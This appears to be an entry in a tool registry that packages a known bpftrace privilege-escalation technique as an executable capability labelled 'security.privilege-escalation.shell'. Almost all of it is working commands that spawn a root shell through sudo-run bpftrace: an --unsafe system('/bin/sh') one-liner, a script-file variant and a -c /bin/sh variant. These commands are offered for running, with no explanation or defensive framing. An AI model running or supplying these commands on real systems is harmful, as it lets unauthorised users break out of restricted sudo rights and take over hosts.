system enabled community high v1.0.0

bpftrace

High-level tracing language for Linux eBPF, can spawn a shell with --unsafe mode via sudo.

📋 Live Preview
bpftrace --unsafe -e 'BEGIN {system("/bin/sh 1<&0");exit()}'
📎 system("/bin/sh 1<&0");exit()
bpftrace --unsafe -e 'BEGIN {system("/bin/sh 1<&0");exit()}'

Sandbox: execFile · Timeout: 30s

Capabilities

security.privilege-escalation.shell

Contract

Inputs

security.execution.context

Sudo execution context (root required)

Outputs

process.output

Shell output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Consumes

security.execution.context

Resource Profile

ResourceValue
CPUmedium
Memory32 MB
Networknone
Disk I/Olow

Examples

Spawn a shell via bpftrace --unsafe

bpftrace --unsafe -e 'BEGIN {system("/bin/sh 1<&0");exit()}'

Spawn a shell via bpftrace script file

echo 'BEGIN {system("/bin/sh 1<&0");exit()}' >/path/to/temp-file
bpftrace --unsafe /path/to/temp-file

Spawn a shell via bpftrace -c option

bpftrace -c /bin/sh -e 'END {exit()}'

References